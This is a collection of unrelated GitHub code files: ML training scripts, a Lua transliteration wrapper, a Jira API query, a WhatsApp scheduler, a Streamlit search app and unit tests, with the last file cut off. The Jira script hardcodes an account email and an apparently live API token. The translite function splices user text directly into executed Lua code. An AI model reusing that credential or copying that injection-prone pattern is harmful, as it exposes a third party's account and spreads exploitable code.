+{"seq_id":"30953587252","text":"#!/usr/bin/env python\n\n\"\"\"\nConvenient entry point to run modules.\n\nExamples::\n\n  ./run tc_gan/benchmarks/solve_dynamics.py\n  ./run tc_gan/benchmarks/resubmit_threshold.py -- --repeat=10\n\n\"\"\"\n\nfrom __future__ import print_function\n\nimport importlib\nimport logging\nimport os\nimport pdb\nimport subprocess\nimport sys\nimport traceback\n\nrecord_env_script_template = '''\nmodule list &> module-list.txt || rm module-list.txt\nset -ex\nwhich python\nwhich pip\nwhich conda\npip freeze > pip-freeze.txt\nconda list --prefix \"{project_root}/env\" --export > conda-list.txt\n\nnvidia-smi --format=csv \\\n--query-gpu=index,count,pci.bus_id,uuid,driver_version \\\n> nvidia-smi-gpu.csv || rm nvidia-smi-gpu.csv\n\nnvidia-smi --format=csv \\\n--query-compute-apps=gpu_name,gpu_bus_id,gpu_serial,gpu_uuid,pid,process_name \\\n> nvidia-smi-compute-apps.csv || nvidia-smi-compute-apps.csv\n\n'''\n\n\ndef run_module(module, arguments, use_pdb, use_pudb, pidfile,\n               assert_repo_is_clean,\n               record_env, mpl_style,\n               log_level, log_format, log_datefmt):\n    logging.basicConfig(level=getattr(logging, log_level),\n                        format=log_format, datefmt=log_datefmt)\n    here = os.path.realpath(os.path.dirname(__file__))\n    if os.path.isfile(module) and module.endswith('.py'):\n        relpath = os.path.relpath(os.path.realpath(module), here)\n        module = relpath[:-len('.py')].replace(os.path.sep, '.')\n    from tc_gan.execution import KnownError\n    loaded = importlib.import_module(module)\n    if not hasattr(loaded, 'main'):\n        print('Module', module, 'do not have main function.')\n        return 1\n    if assert_repo_is_clean:\n        from tc_gan.execution import git_is_clean\n        if not git_is_clean():\n            print('Repository is not clean.')\n            return 3\n\n    # Make sure that (1) Theano is imported so that this process\n    # is included in the following execution of nvidia-smi and (2)\n    # GPU is logged via Python:\n    from tc_gan.utils import log_theano_info\n    log_theano_info()\n\n    if record_env:\n        subprocess.check_call(\n            record_env_script_template.format(project_root=here),\n            shell=True,\n            executable='/bin/bash',\n            cwd=record_env)\n    if mpl_style:\n        import matplotlib\n        matplotlib.style.use(mpl_style)\n    if pidfile:\n        with open(pidfile, 'w') as file:\n            file.write(str(os.getpid()))\n    try:\n        loaded.main(arguments)\n    except Exception as err:\n        if use_pdb:\n            traceback.print_exc()\n            print()\n            pdb.post_mortem()\n        elif use_pudb:\n            import pudb\n            pudb.post_mortem()\n        elif isinstance(err, KnownError):\n            print(err)\n            return err.exit_code\n        else:\n            raise\n\n\ndef main(args=None):\n    import argparse\n    parser = argparse.ArgumentParser(\n        formatter_class=type('FormatterClass',\n                             (argparse.RawDescriptionHelpFormatter,\n                              argparse.ArgumentDefaultsHelpFormatter),\n                             {}),\n        description=__doc__)\n    parser.add_argument(\n        'module',\n        help='''\n        File path (e.g., tc_gan/benchmarks/solve_dynamics.py) to\n        a module or \"dotted import path\" (e.g.,\n        tc_gan.benchmarks.resubmit_threshold).\n        ''')\n    parser.add_argument(\n        'arguments', nargs='*',\n        help=\"arguments passed to module's main function\")\n    parser.add_argument(\n        '--pidfile',\n        help='Path to which PID of this process is written.')\n    parser.add_argument(\n        '--log-level', default='INFO',\n        choices='CRITICAL ERROR WARNING INFO DEBUG NOTSET'.split(),\n        help='''Logging level.\n        See: https://docs.python.org/3/library/logging.html#levels''')\n    parser.add_argument(\n        '--log-format',\n        default='%(asctime)s %(levelname)s %(message)s',\n        help='''Logging format. For example, to include logger name,\n        use '%(asctime)s %(levelname)s %(name)s %(message)s'.\n        See:\n        https://docs.python.org/3/library/logging.html#logrecord-attributes'''\n        .replace('%', '%%'))\n    parser.add_argument(\n        '--log-datefmt',\n        default='%Y-%m-%d %H:%M:%S',\n        help='''Logging datetime format.\n        See: https://docs.python.org/3/library/time.html#time.strftime''')\n    parser.add_argument(\n        '--pdb', action='store_true', dest='use_pdb',\n        help='drop into pdb when there is an exception')\n    parser.add_argument(\n        '--pudb', action='store_true', dest='use_pudb',\n        help='drop into pupdb when there is an exception')\n    parser.add_argument(\n        '--assert-repo-is-clean', action='store_true',\n        help='abort (with code 3) if this repository is not clean')\n    parser.add_argument(\n        '--record-env',\n        help='''Directory in which environment information is saved.\n        Do nothing if not given.''')\n    parser.add_argument(\n        '--mpl-style',\n        help='If given, call matplotlib.style.use.')\n    ns = parser.parse_args(args)\n    sys.exit(run_module(**vars(ns)))\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"ahmadianlab/tc-gan","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":5169,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"77"}
+{"seq_id":"22155156816","text":"import argparse\r\n\r\nimport torch\r\nimport torch.nn.functional as F\r\nfrom torch import tensor, nn\r\nfrom torch.nn.utils import rnn\r\nfrom torch.utils.data import Dataset, DataLoader\r\n\r\nclass SequenceDataset(Dataset):\r\n    def __init__(self, csv_filepath, pad_len=100):\r\n        super(SequenceDataset, self).__init__()\r\n        self.pad_len = pad_len\r\n\r\n        # read comma-separated integer sequences from file\r\n        # also records the set of distinct values\r\n        with open(csv_filepath, 'rt') as file:\r\n            self.sequences = file.readlines()\r\n            self.distinct = set()\r\n            self.seq_len = []\r\n            for i, seq in enumerate(self.sequences):\r\n                seq = tuple(map(int, seq.split(',')))\r\n                self.sequences[i] = seq\r\n                self.distinct.update(set(seq))\r\n\r\n    def __len__(self):\r\n        return len(self.sequences)\r\n\r\n    # returns the padded sequence and sequence length\r\n    def __getitem__(self, i):\r\n        seq = tensor(self.sequences[i], dtype=torch.long)\r\n        padded_seq = torch.ones(self.pad_len, dtype=torch.long) * -1\r\n        padded_seq[:len(seq)] = seq\r\n\r\n        # increment by 1 so that padding is 0\r\n        # all non-padding values will be nonzero\r\n        padded_seq += 1\r\n        return padded_seq, tensor(len(seq))\r\n\r\nclass LSTM(nn.Module):\r\n    def __init__(self, hidden_size, num_embed, embed_dim=32, num_layers=1):\r\n        super(LSTM, self).__init__()\r\n        self.embedding = nn.Embedding(num_embed, embed_dim)\r\n        self.lstm = nn.LSTM(embed_dim, hidden_size, num_layers, batch_first=True)\r\n        self.fc = nn.Linear(hidden_size, embed_dim)\r\n\r\n    # input_seq: batch of padded sequences\r\n    # input_len: list of sequence lengths\r\n    def forward(self, input_seq, input_len):\r\n        embed = self.embedding(input_seq)\r\n\r\n        # pack padded batch of sequences\r\n        packed = rnn.pack_padded_sequence(embed, input_len, batch_first=True, enforce_sorted=False)\r\n\r\n        # forward pass through recurrent layers\r\n        outputs, _ = self.lstm(packed)\r\n\r\n        # unpack padded sequences\r\n        unpacked, _ = rnn.pad_packed_sequence(outputs, batch_first=True, total_length=100)\r\n\r\n        # forward pass through fully-connected layer\r\n        outputs = self.fc(unpacked)\r\n\r\n        return outputs\r\n\r\n# x: shape(B, L, embed) where L is the sequence length\r\n# multiply with embedding weights (C, embed) to get C-dimensional logits\r\n# returns logits shape(B, L, C)\r\ndef get_logits(pred, embedding):\r\n    logits = pred.matmul(embedding.t())\r\n    return logits\r\n\r\ndef train(model, dataset, optimizer, device=None, epochs=1, batch_size=128, num_workers=4, dropout=0.3, print_every=100):\r\n    if not device:\r\n        device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\r\n    dataloader = DataLoader(dataset, batch_size, shuffle=True, num_workers=num_workers)\r\n\r\n    # one-cycle learning rate scheduler\r\n    scheduler = torch.optim.lr_scheduler.OneCycleLR(\r\n        optimizer, \r\n        1e-3,\r\n        epochs=epochs, \r\n        steps_per_epoch=len(dataloader))\r\n\r\n    for epoch in range(epochs):\r\n        for it, batch in enumerate(dataloader):\r\n            sequences, seq_len = batch\r\n            optimizer.zero_grad()\r\n\r\n            sequences = sequences.to(device)\r\n            dropout_mask = torch.rand_like(sequences, dtype=torch.float) > dropout\r\n            pred = model(sequences * dropout_mask, seq_len)\r\n\r\n            # calculate logits for C classes\r\n            logits = get_logits(pred, model.embedding.weight)\r\n\r\n            # calculate loss, ignoring dropout token at index 0\r\n            loss = F.cross_entropy(torch.flatten(logits[:, :-1], 0, 1), torch.flatten(sequences[:, 1:]), ignore_index=0)\r\n            loss.backward()\r\n            optimizer.step()\r\n            scheduler.step()\r\n\r\n            # print current progress and loss\r\n            if it % print_every == 0:\r\n                print(f' \\t{it+1}/{len(dataloader)} \\tloss={loss.sum().item()}')\r\n        print(f'{epoch+1}/{epochs} done')\r\n    return model\r\n\r\nif __name__ == '__main__':\r\n    parser = argparse.ArgumentParser(description='train and saves autoregressive embedding models')\r\n    parser.add_argument('--dataset', type=str, required=True, metavar='NAME', choices=['atom', 'descriptor'])\r\n    parser.add_argument('--num_epochs', type=int, default=10, metavar='EPOCHS')\r\n    parser.add_argument('--batch_size', type=int, default=64, metavar='BATCH')\r\n    parser.add_argument('--hidden_dim', type=int, default=64, metavar='HIDDEN')\r\n    parser.add_argument('--embed_dim', type=int, default=32, metavar='EMBED')\r\n    parser.add_argument('--num_layers', type=int, default=1, metavar='LAYERS')\r\n    parser.add_argument('--num_workers', type=int, default=0, metavar='WORKERS')\r\n    parser.add_argument('--device', type=str, default=None, metavar='DEVICE')\r\n    args = parser.parse_args()\r\n\r\n    # create dataset\r\n    dataset = SequenceDataset(f'data/{args.dataset}_sequences.csv')\r\n\r\n    # create the model with as many embeddings as classes in the data\r\n    num_distinct = len(dataset.distinct)\r\n    model = LSTM(args.hidden_dim, num_distinct+1, embed_dim=args.embed_dim, num_layers=args.num_layers)\r\n    print(f'{num_distinct} distinct values in dataset')\r\n\r\n\r\n    # move device to GPU if available\r\n    device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\r\n    if args.device:\r\n        device = torch.device(args.device)\r\n    model = model.to(device)\r\n\r\n    # create optimizer and begin training\r\n    optimizer = torch.optim.Adam(model.parameters())\r\n    model = train(\r\n        model,\r\n        dataset,\r\n        optimizer,\r\n        device,\r\n        epochs=args.num_epochs,\r\n        batch_size=args.batch_size,\r\n        num_workers=args.num_workers)\r\n\r\n    torch.save({\r\n            'epoch': args.num_epochs,\r\n            'dataset': args.dataset,\r\n            'hidden_dim': args.hidden_dim,\r\n            'embed_dim': args.embed_dim,\r\n            'model': model.state_dict(),\r\n            'optimizer': optimizer.state_dict(),\r\n        }, f'models/{args.dataset}_embedding_{args.embed_dim}.pt')","repo_name":"Btsan/FAST","sub_path":"Task 2/Embeddings/train_embeddings.py","file_name":"train_embeddings.py","file_ext":"py","file_size_in_byte":6106,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"18686630414","text":"import lupa\nfrom lupa import LuaRuntime\n\nlua = LuaRuntime(unpack_returned_tuples=True)\nlua.execute(\"mw = require 'wikt.mw'\")\nlua.execute(\"mw.text = require 'wikt.mw-text'\")\nlua.execute(\"mw.ustring = require 'wikt.ustring.ustring'\")\n\nlang_map = {\n    'rus' : ('ru', 'Cyrl'),\n    'cre' : ('cr', 'Cans'),\n    'bra' : ('brah', 'Arab'),\n    'prt' : ('prti', 'Parthian'),\n    'ete' : ('cprt', 'Cprt'),\n    'ave' : ('avst', 'Avst'),\n    'guj' : ('gu', 'Gujr'),\n    'yuk' : ('ykg', 'Cyrl'),\n    'ady' : ('ady', 'Cyrl'),\n    'ava' : ('av', 'Cyrl'),\n    'ukr' : ('uk', 'Cyrl'),\n    'xal' : ('xal', 'Cyrl'),\n    'tib' : ('bo', 'Tibt'),\n    'heb' : ('he', 'Hebr'),\n    'mya' : ('my', 'Mymr'),\n    'rue' : ('rue', 'Cyrl'),\n    'kdr' : ('kdr', 'Cyrl'),\n    'sin' : ('si', 'Sinh'),\n    'kum' : ('kum', 'Cyrl'),\n    'arm' : ('armn', 'Armn'),\n    'bud' : ('bdk', 'Cyrl'),\n    'dun' : ('dng', 'Cyrl'),\n    'urd' : ('ur', 'ur-Arab'),\n    'got' : ('goth', 'Goth'),\n    'kip' : ('qwm', 'Latn'),\n    'ben' : ('bn', 'Beng'),\n    'lim' : ('lif', 'Limb'),\n    'pra' : ('inc-ash', 'Brah'),\n    'mas' : ('inc-mas', 'Beng'),\n    'tha' : ('th', 'Thai'),\n    'lep' : ('lep', 'Lepc'),\n    'eng' : ('en', 'Latn'),\n    'aba' : ('abq', 'Latn'),\n    'bua' : ('bua', 'Cyrl'),\n    'lez' : ('lez', 'Cyrl'),\n    'mon' : ('mon', 'Cyrl'),\n    'uig' : ('ug', 'ug-Arab'),\n    'khi' : ('kjj', 'Cyrl'),\n    'chr' : ('cher', 'Cher'),\n    'bho' : ('bho', 'Deva'),\n    'new' : ('new', 'Deva'),\n    'hin' : ('hi', 'Deva'),\n    'mal' : ('ml', 'Mlym'),\n    'man' : ('mani', 'Mani'),\n    'mdf' : ('mdf', 'Cyrl'),\n    'sat' : ('sat', 'Olck'),\n    'tel' : ('te', 'Telu'),\n    'mkd' : ('mk', 'Cyrl'),\n    'smi' : ('sjd', 'Cyrl'),\n    'kbd' : ('kbd', 'Cyrl'),\n    'abk' : ('ab', 'Cyrl'),\n    'kor' : ('ko', 'Kore'),\n    'mnc' : ('mns', 'Mong'),\n    'kca' : ('kca', 'Cyrl'),\n    'kha' : ('khar', 'Khar'),\n    'bel' : ('be', 'Cyrl'),\n    'kom' : ('kv', 'Cyrl'),\n    'cop' : ('copt', 'Copt'),\n    'kur' : ('kmr', 'Latn'),\n    'lak' : ('lbe', 'Cyrl'),\n    'ita' : ('ital', 'Ital'),\n    'lao' : ('lo', 'Laoo'),\n    'mar' : ('mr', 'Deva'),\n    'udi' : ('udi', 'Cyrl'),\n    'eth' : ('ethi', 'Ethi'),\n    'lin' : ('linb', 'Linb'),\n    'iku' : ('iu', 'Cans'),\n    'myv' : ('myv', 'Cyrl'),\n    'kan' : ('kn', 'Knda'),\n    'tam' : ('ta', 'Taml'),\n    'kaa' : ('kaa', 'Latn'),\n    'bul' : ('bg', 'Cyrl'),\n    'jav' : ('jv', 'Latn'),\n    'oss' : ('os', 'Cyrl'),\n    'che' : ('ce', 'Cyrl'),\n    'kas' : ('ks', 'ks-Arab'),\n    'pal' : ('phli', 'Phli'),\n    'sah' : ('sah', 'Cyrl'),\n    'chm' : ('chm', 'Cyrl'),\n    'kaz' : ('kk', 'Cyrl'),\n    'kjk' : ('kjh', 'Cyrl'),\n    'fas' : ('fa', 'fa-Arab'),\n    'iii' : ('ii', 'Yiii'),\n    'tgk' : ('tg', 'Cyrl'),\n    'bak' : ('ba', 'Cyrl'),\n    'krc' : ('krc', 'Cyrl'),\n    'ori' : ('or', 'Orya'),\n    'eve' : ('eve', 'Cyrl'),\n    'khm' : ('km', 'Khmr'),\n    'xbc' : ('xbc', 'Grek'),\n    'san' : ('sa', 'Deva'),\n    'nsk' : ('nsk', 'Cans'),\n    'udm' : ('udm', 'Cyrl'),\n    'nog' : ('nog', 'Cyrl'),\n    'can' : ('cans', 'Cans'),\n    'ain' : ('ain', 'Kana'),\n    'nep' : ('ne', 'Deva'),\n    'geo' : ('geor', 'Geor'),\n    'niv' : ('niv', 'Cyrl'),\n    'lyc' : ('lyci', 'Lyci'),\n    'sar' : ('sarb', 'Sarb'),\n    'chu' : ('cv', 'Cyrl'),\n    'peo' : ('peo', 'Xpeo'),\n    'cho' : ('cyrs-glag', 'Cyrs'),\n    'dar' : ('dar', 'Cyrl'),\n    'pan' : ('guru', 'Guru'),\n    'alt' : ('altai', 'Cyrl'),\n    'inh' : ('inh', 'Cyrl'),\n    'ara' : ('ar', 'Arab'),\n    'tyv' : ('tyv', 'Cyrl'),\n    'gre' : ('el', 'Grek'),\n    'tat' : ('tt', 'Cyrl'),\n    'aho' : ('ahom', 'Ahom'),\n    'tal' : ('talu', ''),\n    'lyd' : ('lydi', 'Lydi'),\n    'dlg' : ('dlg', 'Cyrl'),\n    'kir' : ('ky', 'Cyrl'),\n    'asm' : ('as', 'as-Beng'),\n    'div' : ('dv', 'Thaa'),\n    'ber' : ('ber', 'Tfng'),\n    'grc' : ('grc', 'polythonic'),\n    'evn' : ('evn', 'Cyrl')\n}\n\ndef translite(text, lang):\n    lang_tup = lang_map[lang.lower()]\n    lua_str = 'res = require(\"wikt.translit.' + lang_tup[0] + '-translit\").tr(\"' + \\\n              text + '\", \"' + lang_tup[0] + '\", \"' + lang_tup[1] + '\")'\n    lua.execute(lua_str)\n    return lua.globals().res\n","repo_name":"BrainyLark/wiktra","sub_path":"wiktra.py","file_name":"wiktra.py","file_ext":"py","file_size_in_byte":4073,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"21604815046","text":"############################################################################\n#\tThis program is free software: you can redistribute it and/or modify\n#\tit under the terms of the GNU General Public License as published by\n#\tthe Free Software Foundation, either version 3 of the License, or\n#\t(at your option) any later version.\n#\n#\tThis program is distributed in the hope that it will be useful,\n#\tbut WITHOUT ANY WARRANTY; without even the implied warranty of\n#\tMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n#\tGNU General Public License for more details.\n#\n#\tYou should have received a copy of the GNU General Public License\n#\talong with this program.  If not, see <https://www.gnu.org/licenses/>.\n############################################################################\n\nfrom .external import register_external, unregister_external\nfrom .internal import register_internal, unregister_internal\nfrom .special import register_special, unregister_special\nfrom .pipeline import register_pipeline, unregister_pipeline\n# from .patrion import register_patreon, unregister_patreon\n\ndef register_tools(preferences):\n\tregister_external()\n\tregister_internal(preferences)\n\tregister_special(preferences)\n\tregister_pipeline(preferences)\n\t# register_patreon()\n\ndef unregister_tools():\n\tunregister_external()\n\tunregister_internal()\n\tunregister_special()\n\tunregister_pipeline()\n\t# unregister_patreon()","repo_name":"NevilArt/BsMax","sub_path":"tools/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1402,"program_lang":"python","lang":"en","doc_type":"code","stars":169,"dataset":"github-code","pt":"77"}
+{"seq_id":"31828383318","text":"from collections import deque\n\nclass TreeNode(object):\n    def __init__(self, x):\n        self.val = x\n        self.left = None\n        self.right = None\n\nclass Solution(object):\n    def isSymmetric(self, root):\n        if not root:\n            return True\n        def check(u, v):\n            q = deque()\n            q.append(u)\n            q.append(v)\n            while q:\n                pre = q.popleft()\n                pos = q.popleft()\n                if not pre and not pos: continue\n                if (not pre or not pos) or (pre.val != pos.val): return False\n                q.append(pre.left)\n                q.append(pos.right)\n                q.append(pre.right)\n                q.append(pos.left)\n            return True\n        return check(root, root)\n\n        # 递归\n        # def check(p, q):\n        #     if not p and not q: return True\n        #     if not p or not q: return False\n        #     return p.val == q.val and check(p.left, q.right) and check(p.right, q.left)\n        # if not root:\n        #     return True\n        # return check(root.left, root.right)\n\n\nroot = TreeNode(1)\nroot.left = TreeNode(2)\nroot.right = TreeNode(2)\nroot.left.left = TreeNode(3)\nroot.left.right = TreeNode(4)\nroot.right.left = TreeNode(4)\nroot.right.right = TreeNode(3)\n\nprint(Solution().isSymmetric(root))","repo_name":"hangongzi/leetcode","sub_path":"tree/symmetric-tree.py","file_name":"symmetric-tree.py","file_ext":"py","file_size_in_byte":1317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"12614229846","text":"import requests\nimport json\nimport io\nurl=\"https://jojo26.atlassian.net/rest/api/3/search\"\nheaders={\n  \"Accept\": \"application/json\",\n    \"Content-Type\": \"application/json\"\n}\n\nquery = {\n   'jql': 'project = JIRA'\n}\n\nresponse=requests.get(url,headers=headers,params=query,auth=(\"josephthachilgeorge@gmail.com\",\"XC1EOL4YkJSYiD2YDQg1DCD5\"))\ndata=response.json()\nissues=data[\"issues\"]\nfor issue in issues:\n    print(issue[\"key\"])\n\n","repo_name":"JosephThachilGeorge/jira_automation-main","sub_path":"5GetAllJiraIssues.py","file_name":"5GetAllJiraIssues.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"25581415197","text":"import pywhatkit as kit\r\nfrom tkinter import *\r\nfrom tkinter import ttk\r\nfrom PIL import ImageTk, Image\r\ntop = Tk()\r\n\r\ntop.title(\"WhatsApp Scheduler\")\r\ntop.geometry(\"1350x700+0+0\")\r\ncanvas=Canvas(top, width=1350, height=700)\r\nimage=ImageTk.PhotoImage(Image.open(\"C:\\\\Users\\\\sacha\\\\OneDrive\\\\Desktop\\\\fone.png\"))\r\ncanvas.create_image(0,0,anchor=NW, image=image)\r\ncanvas.pack()\r\nimg=ImageTk.PhotoImage(Image.open(\"C:\\\\Users\\\\sacha\\\\OneDrive\\\\Desktop\\\\1.jpg\"))\r\ncanvas.create_image(570,40,anchor=NW, image=img)\r\nvar_no=StringVar()\r\nvar_mess=StringVar()\r\nvar_hr=IntVar()\r\nvar_min=IntVar()\r\nphone_no=Label(top, text=\"Phone no.\", font=(\"times of roman\", 20, \"bold\")).place(x=510, y=240)\r\ne1 = Entry(top, textvariable=var_no).place(x = 680, y = 250, width=150)\r\nmessage=Label(top,text=\"Message\", font=(\"times of roman\", 20, \"bold\")).place(x=510, y=280)\r\ne2 = Entry(top, textvariable=var_mess, font=(\"times of roman\", 13, \"bold\")).place(x = 680, y = 290, height=70, width=150)  \r\nhr=Label(top, text=\"Hour\", font=(\"times of roman\", 20, \"bold\")).place(x=510, y=360)\r\ne3  =ttk.Combobox(top, textvariable=var_hr)\r\ne3['values']=(\"00\", \"01\", \"02\", \"03\",\"04\",\"05\", \"06\", \"07\",\"08\",\"09\", \"10\", \"11\",\"12\",\"13\",\"14\",\"15\",\"16\",\"17\",\"18\",\"19\",\"20\",\"22\",\"23\")\r\ne3.place(x = 680, y = 370)\r\nm=Label(top, text=\"Minutes\", font=(\"times of roman\", 20, \"bold\")).place(x=510, y=400)\r\ne4 = ttk.Combobox(top, textvariable=var_min)\r\ne4['values']=(\"00\", \"01\", \"02\", \"03\",\"04\",\"05\", \"06\", \"07\",\"08\",\"09\", \"10\", \"11\",\"12\",\"13\",\"14\",\"15\",\"16\",\"17\",\"18\",\"19\",\"20\",\"22\",\"23\",\"24\",\"25\",\"26\",\"27\",\"28\",\"29\",\"30\",\"31\",\"32\",\"33\",\"34\",\"35\",\"36\",\"37\",\"38\",\"39\",\"40\",\"41\",\"42\",\"43\",\"44\",\"45\",\"46\",\"47\",\"48\",\"49\",\"50\",\"51\",\"52\",\"53\",\"54\",\"55\",\"56\",\"57\",\"58\",\"59\")\r\ne4.place(x = 680, y = 410)\r\ndef register_data():\r\n    try:\r\n        var=\"+91\"+str(var_no.get())\r\n        kit.sendwhatmsg(var,var_mess.get(), var_hr.get(), var_min.get())\r\n        print('message send')\r\n    except:\r\n        print('fail')\r\nb_image=ImageTk.PhotoImage(Image.open(\"C:\\\\Users\\\\sacha\\\\OneDrive\\\\Desktop\\\\images.png\"))    \r\nb=Button(top, image=b_image, bd=0 , cursor=\"hand2\", command=register_data).place(x=570, y=440, width=150, height =80)\r\ntop.mainloop()\r\n","repo_name":"taru15/whatsapp-scheduler","sub_path":"tk.py","file_name":"tk.py","file_ext":"py","file_size_in_byte":2187,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"19312138853","text":"#!/usr/bin/env python3\n\nimport itertools\n\ndef fib():\n    n1=1\n    n2=1\n    tmp=None\n    yield n1\n    yield n2\n    while True:\n        tmp=n1+n2\n        yield tmp\n        n1=n2\n        n2=tmp\n\nprint(list(itertools.islice(fib(), 500)))\n","repo_name":"metageek/adder","sub_path":"samples/fib_for_comparison.py","file_name":"fib_for_comparison.py","file_ext":"py","file_size_in_byte":234,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"77"}
+{"seq_id":"21527090238","text":"import streamlit as st\nfrom transformers import AutoTokenizer, AutoModel\nimport transformers\nimport torch\nfrom sentence_transformers import util\n\n# explicit no operation hash functions defined, because raw sentences, embedding, model and tokenizer are not going to change\n\n\n@st.cache(hash_funcs={list: lambda _: None})\ndef load_raw_sentences(filename):\n    with open(filename) as f:\n        return f.readlines()\n\n@st.cache(hash_funcs={torch.Tensor: lambda _: None})\ndef load_embeddings(filename):\n    with open(filename) as f:\n        return torch.load(filename,map_location=torch.device('cpu') )\n\n\n#Mean Pooling - Take attention mask into account for correct averaging\ndef mean_pooling(model_output, attention_mask):\n    token_embeddings = model_output[0] #First element of model_output contains all token embeddings\n    input_mask_expanded = attention_mask.unsqueeze(-1).expand(token_embeddings.size()).float()\n    sum_embeddings = torch.sum(token_embeddings * input_mask_expanded, 1)\n    sum_mask = torch.clamp(input_mask_expanded.sum(1), min=1e-9)\n    return sum_embeddings / sum_mask\n\ndef findTopKMostSimilar(query_embedding, embeddings, all_sentences, k):\n    cosine_scores = util.pytorch_cos_sim(query_embedding, embeddings)\n    cosine_scores_list = cosine_scores.squeeze().tolist()\n    pairs = []\n    for idx,score in enumerate(cosine_scores_list):\n        if idx < len(all_sentences):\n            pairs.append({'score': '{:.4f}'.format(score), 'text': all_sentences[idx]})\n    pairs = sorted(pairs, key=lambda x: x['score'], reverse=True)\n    return pairs[0:k]\n\ndef calculateEmbeddings(sentences,tokenizer,model):\n    tokenized_sentences = tokenizer(sentences, padding=True, truncation=True, max_length=128, return_tensors='pt')\n    with torch.no_grad():\n        model_output = model(**tokenized_sentences)\n    sentence_embeddings = mean_pooling(model_output, tokenized_sentences['attention_mask'])\n    return sentence_embeddings\n\n# explicit no operation hash function, because model and tokenizer are not going to change\n@st.cache(hash_funcs={transformers.models.bert.tokenization_bert_fast.BertTokenizerFast: lambda _: None, transformers.models.bert.modeling_bert.BertModel: lambda _: None})\ndef load_model_and_tokenizer():\n    multilingual_checkpoint = 'sentence-transformers/paraphrase-multilingual-MiniLM-L12-v2'\n    tokenizer = AutoTokenizer.from_pretrained(multilingual_checkpoint)\n    model = AutoModel.from_pretrained(multilingual_checkpoint)\n    print(type(tokenizer))\n    print(type(model))\n    return model, tokenizer\n\n\nmodel,tokenizer = load_model_and_tokenizer();\nraw_text_file = 'data/preprocessed/shortened_abstracts_hu_2021_09_01.txt'\nall_sentences = load_raw_sentences(raw_text_file)\n\nembeddings_file = 'data/preprocessed/shortened_abstracts_hu_2021_09_01_embedded.pt'\nall_embeddings = load_embeddings(embeddings_file)\n\n\nst.header('Wikipedia absztrakt kereső')\nst.subheader('Search Wikipedia abstracts in Hungarian!')\n\nst.caption('[HU] Adjon meg egy tetszőleges kifejezést és a rendszer visszaadja az 5 hozzá legjobban hasonlító Wikipedia absztraktot')\nst.caption('[EN] Input some search term and see the top-5 most similar wikipedia abstracts')\n\n\ntext_area_input_query = st.text_area('[HU] Beviteli mező - [EN] Query input',value='Mi Japán fővárosa?')\n\nif text_area_input_query:\n    query_embedding = calculateEmbeddings([text_area_input_query],tokenizer,model)\n    top_pairs = findTopKMostSimilar(query_embedding, all_embeddings, all_sentences, 5)\n    st.json(top_pairs)\n","repo_name":"semmi88/SemanticSearch-Hungarian","sub_path":"src/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3511,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"19323291593","text":"import unittest, logging\nfrom .note import NoteItem\nfrom .. import constants, common\n\n# kill logging\nlogging.disable(logging.CRITICAL)\n\n#------------------------------------------------------------------------------\nclass TestNote(unittest.TestCase):\n\n  #----------------------------------------------------------------------------\n  def test_plain_load(self):\n    note = NoteItem.loads('content', contentType=constants.TYPE_TEXT_PLAIN)\n    self.assertEqual(note.name, 'content')\n    self.assertEqual(note.body, 'content')\n\n  #----------------------------------------------------------------------------\n  def test_plain_dump(self):\n    note = NoteItem(name='this note name', body='content')\n    out = note.dumps(contentType=constants.TYPE_TEXT_PLAIN)\n    self.assertEqual(out, 'content')\n\n  #----------------------------------------------------------------------------\n  def test_sifn_load(self):\n    note = NoteItem.loads('<note><SIFVersion>1.1</SIFVersion><Subject>this note name</Subject><Body>content</Body></note>', contentType=constants.TYPE_SIF_NOTE)\n    self.assertEqual(note.name, 'this note name')\n    self.assertEqual(note.body, 'content')\n\n  #----------------------------------------------------------------------------\n  def test_sifn_dump(self):\n    note = NoteItem(name='this note name', body='content')\n    out = note.dumps(contentType=constants.TYPE_SIF_NOTE, version='1.1')\n    self.assertEqual(out, '<note><SIFVersion>1.1</SIFVersion><Subject>this note name</Subject><Body>content</Body></note>')\n\n  #----------------------------------------------------------------------------\n  def test_sifn_ext_load(self):\n    note = NoteItem.loads('<note><SIFVersion>1.1</SIFVersion><Subject>this note name</Subject><Body>content</Body><filename>this-note-name.txt</filename></note>', contentType=constants.TYPE_SIF_NOTE)\n    self.assertEqual(note.name, 'this note name')\n    self.assertEqual(note.body, 'content')\n    self.assertEqual(note.extensions, dict(filename=['this-note-name.txt']))\n\n  #----------------------------------------------------------------------------\n  def test_sifn_ext_dump(self):\n    note = NoteItem(name='this note name', body='content')\n    note.addExtension('filename', 'this-note-name.txt')\n    out = note.dumps(contentType=constants.TYPE_SIF_NOTE, version='1.1')\n    self.assertEqual(out, '<note><SIFVersion>1.1</SIFVersion><Subject>this note name</Subject><Body>content</Body><filename>this-note-name.txt</filename></note>')\n\n  #----------------------------------------------------------------------------\n  def test_bad_contentType_load(self):\n    vcard = '''BEGIN:VCARD\nVERSION:3.0\nPRODID:-//UnitTest//vCard 3.0//\nUID:local:12345\nEND:VCARD\n'''\n    with self.assertRaises(common.InvalidContentType) as cm:\n      NoteItem.loads(vcard, contentType=constants.TYPE_VCARD_V30)\n\n  #----------------------------------------------------------------------------\n  def test_bad_contentType_dump(self):\n    note = NoteItem(name='this note name', body='content')\n    with self.assertRaises(common.InvalidContentType) as cm:\n      